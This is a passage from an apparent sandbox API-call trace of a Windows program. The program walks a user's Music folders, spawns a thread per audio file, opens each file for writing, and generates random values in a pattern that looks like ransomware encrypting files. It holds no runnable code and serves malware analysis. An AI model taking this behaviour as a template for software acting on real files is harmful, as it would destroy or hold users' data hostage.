_Dest=0x3426c58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\" [0079.771] wcscat (in: _Dest=0x3426c58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*" [0079.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0079.771] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0079.776] wcscmp (_String1=".", _String2=".") returned 0 [0079.776] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.776] wcscmp (_String1="..", _String2=".") returned 1 [0079.776] wcscmp (_String1="..", _String2="..") returned 0 [0079.776] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.776] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0079.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5458) returned 1 [0079.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426c58) returned 1 [0079.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427410) returned 1 [0079.776] RtlExitUserThread (Status=0x0) Thread: id = 978 os_tid = 0x164c [0079.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eab90 [0079.777] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0079.777] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0079.777] wcscat (in: _Dest=0x33eab90, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*" [0079.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0079.777] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*", lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8c1e4b50, ftLastAccessTime.dwHighDateTime=0x1d4d1ad, ftLastWriteTime.dwLowDateTime=0x8c1e4b50, ftLastWriteTime.dwHighDateTime=0x1d4d1ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0079.777] wcscmp (_String1=".", _String2=".") returned 0 [0079.777] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8c1e4b50, ftLastAccessTime.dwHighDateTime=0x1d4d1ad, ftLastWriteTime.dwLowDateTime=0x8c1e4b50, ftLastWriteTime.dwHighDateTime=0x1d4d1ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.777] wcscmp (_String1="..", _String2=".") returned 1 [0079.777] wcscmp (_String1="..", _String2="..") returned 0 [0079.777] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a9ddd0, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xe0776f90, ftLastAccessTime.dwHighDateTime=0x1d4d5ce, ftLastWriteTime.dwLowDateTime=0xe0776f90, ftLastWriteTime.dwHighDateTime=0x1d4d5ce, nFileSizeHigh=0x0, nFileSizeLow=0x55e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0_VjJIrk TrARvUl_mv.m4a", cAlternateFileName="0_VJJI~1.M4A")) returned 1 [0079.778] wcscmp (_String1="0_VjJIrk TrARvUl_mv.m4a", _String2=".") returned 1 [0079.778] wcscmp (_String1="0_VjJIrk TrARvUl_mv.m4a", _String2="..") returned 1 [0079.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f8248 [0079.778] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0079.778] wcscat (in: _Dest=0x33f8248, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0079.778] wcscat (in: _Dest=0x33f8248, _Source="0_VjJIrk TrARvUl_mv.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" [0082.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0082.985] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e93d480, ftCreationTime.dwHighDateTime=0x1d4ce04, ftLastAccessTime.dwLowDateTime=0xd91e1830, ftLastAccessTime.dwHighDateTime=0x1d4c5ce, ftLastWriteTime.dwLowDateTime=0xd91e1830, ftLastWriteTime.dwHighDateTime=0x1d4c5ce, nFileSizeHigh=0x0, nFileSizeLow=0x11db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1T1lE UrsSr.mp3", cAlternateFileName="1T1LEU~1.MP3")) returned 1 [0082.985] wcscmp (_String1="1T1lE UrsSr.mp3", _String2=".") returned 1 [0082.985] wcscmp (_String1="1T1lE UrsSr.mp3", _String2="..") returned 1 [0082.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431340 [0082.985] wcscpy (in: _Dest=0x3431340, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0082.985] wcscat (in: _Dest=0x3431340, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0082.985] wcscat (in: _Dest=0x3431340, _Source="1T1lE UrsSr.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" [0082.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0082.986] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770ce90, ftCreationTime.dwHighDateTime=0x1d4cb2c, ftLastAccessTime.dwLowDateTime=0x731b0ad0, ftLastAccessTime.dwHighDateTime=0x1d4ccc6, ftLastWriteTime.dwLowDateTime=0x731b0ad0, ftLastWriteTime.dwHighDateTime=0x1d4ccc6, nFileSizeHigh=0x0, nFileSizeLow=0xb45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gBC08akz4r67zciRl.wav", cAlternateFileName="GBC08A~1.WAV")) returned 1 [0082.986] wcscmp (_String1="gBC08akz4r67zciRl.wav", _String2=".") returned 1 [0082.986] wcscmp (_String1="gBC08akz4r67zciRl.wav", _String2="..") returned 1 [0082.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3486928 [0082.986] wcscpy (in: _Dest=0x3486928, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0082.986] wcscat (in: _Dest=0x3486928, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0082.986] wcscat (in: _Dest=0x3486928, _Source="gBC08akz4r67zciRl.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" [0082.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3486928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0082.986] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d65c540, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0x208275a0, ftLastAccessTime.dwHighDateTime=0x1d4ca42, ftLastWriteTime.dwLowDateTime=0x208275a0, ftLastWriteTime.dwHighDateTime=0x1d4ca42, nFileSizeHigh=0x0, nFileSizeLow=0x1025, dwReserved0=0x0, dwReserved1=0x0, cFileName="h50q1-Z.mp3", cAlternateFileName="")) returned 1 [0082.986] wcscmp (_String1="h50q1-Z.mp3", _String2=".") returned 1 [0082.986] wcscmp (_String1="h50q1-Z.mp3", _String2="..") returned 1 [0082.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3428080 [0082.987] wcscpy (in: _Dest=0x3428080, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0082.987] wcscat (in: _Dest=0x3428080, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0082.987] wcscat (in: _Dest=0x3428080, _Source="h50q1-Z.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" [0082.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0082.988] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f29850, ftCreationTime.dwHighDateTime=0x1d4d54b, ftLastAccessTime.dwLowDateTime=0x5028e4f0, ftLastAccessTime.dwHighDateTime=0x1d4caac, ftLastWriteTime.dwLowDateTime=0x5028e4f0, ftLastWriteTime.dwHighDateTime=0x1d4caac, nFileSizeHigh=0x0, nFileSizeLow=0xd3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUpDCeawlNgmAD_.mp3", cAlternateFileName="PUPDCE~1.MP3")) returned 1 [0082.988] wcscmp (_String1="pUpDCeawlNgmAD_.mp3", _String2=".") returned 1 [0082.988] wcscmp (_String1="pUpDCeawlNgmAD_.mp3", _String2="..") returned 1 [0082.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3487670 [0082.988] wcscpy (in: _Dest=0x3487670, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0082.988] wcscat (in: _Dest=0x3487670, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0082.988] wcscat (in: _Dest=0x3487670, _Source="pUpDCeawlNgmAD_.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" [0082.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3487670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0082.989] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10438e0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xaf7ca2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfb8, ftLastWriteTime.dwLowDateTime=0xaf7ca2a0, ftLastWriteTime.dwHighDateTime=0x1d4cfb8, nFileSizeHigh=0x0, nFileSizeLow=0x993b, dwReserved0=0x0, dwReserved1=0x0, cFileName="qBnOzPyiFc1A.m4a", cAlternateFileName="QBNOZP~1.M4A")) returned 1 [0082.989] wcscmp (_String1="qBnOzPyiFc1A.m4a", _String2=".") returned 1 [0082.989] wcscmp (_String1="qBnOzPyiFc1A.m4a", _String2="..") returned 1 [0082.989] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34308c0 [0082.989] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0082.989] wcscat (in: _Dest=0x34308c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0082.989] wcscat (in: _Dest=0x34308c0, _Source="qBnOzPyiFc1A.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" [0082.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34308c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0082.990] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10438e0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xaf7ca2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfb8, ftLastWriteTime.dwLowDateTime=0xaf7ca2a0, ftLastWriteTime.dwHighDateTime=0x1d4cfb8, nFileSizeHigh=0x0, nFileSizeLow=0x993b, dwReserved0=0x0, dwReserved1=0x0, cFileName="qBnOzPyiFc1A.m4a", cAlternateFileName="QBNOZP~1.M4A")) returned 0 [0082.990] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0082.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5458) returned 1 [0082.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0082.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb6d0) returned 1 [0082.990] RtlExitUserThread (Status=0x0) Thread: id = 979 os_tid = 0x1650 [0079.778] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a")) returned 0x20 [0079.778] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a", dwFileAttributes=0x20) returned 1 [0079.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.779] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x236bfc64 | out: lpFileSize=0x236bfc64*=64162) returned 1 [0079.779] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfa9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.779] ReadFile (in: hFile=0x43c, lpBuffer=0x236bfc38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x236bfc38*, lpNumberOfBytesRead=0x236bfc34*=0x4, lpOverlapped=0x0) returned 1 [0079.780] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492140 [0079.780] NtQuerySystemTime (in: CurrentTime=0x236bfc10 | out: CurrentTime=0x236bfc10*=132121176376729920) returned 0x0 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xb1c877e8 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xe20bb174 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x2928fce6 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xc246a69 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xe899d8df [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xe40cf4d4 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x4be16208 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xe50be47c [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x35442482 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xd6e865e3 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xff1bd7be [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xd0743806 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xc597f277 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xf9b8f4e [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x4d8e67b9 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xa1547b0e [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x9c5c1539 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x362b2330 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xf5d688b2 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x65607a0d [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x7fea553b [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x3662ef6e [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x870985c [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x174e9a16 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xe9c951 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x42717358 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x1112b7f3 [0079.780] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x415afeb1 [0079.781] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0xa42ee63 [0079.781] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x65befd7e [0079.781] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x196c0d56 [0079.781] RtlRandom (in: Seed=0x236bfc1c | out: Seed=0x236bfc1c) returned 0x5caa6ba5 [0079.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.792] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.792] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x236bfbe8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x236bfbe8*=0x4096, lpOverlapped=0x0) returned 1 [0079.793] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.793] RtlFreeHeap 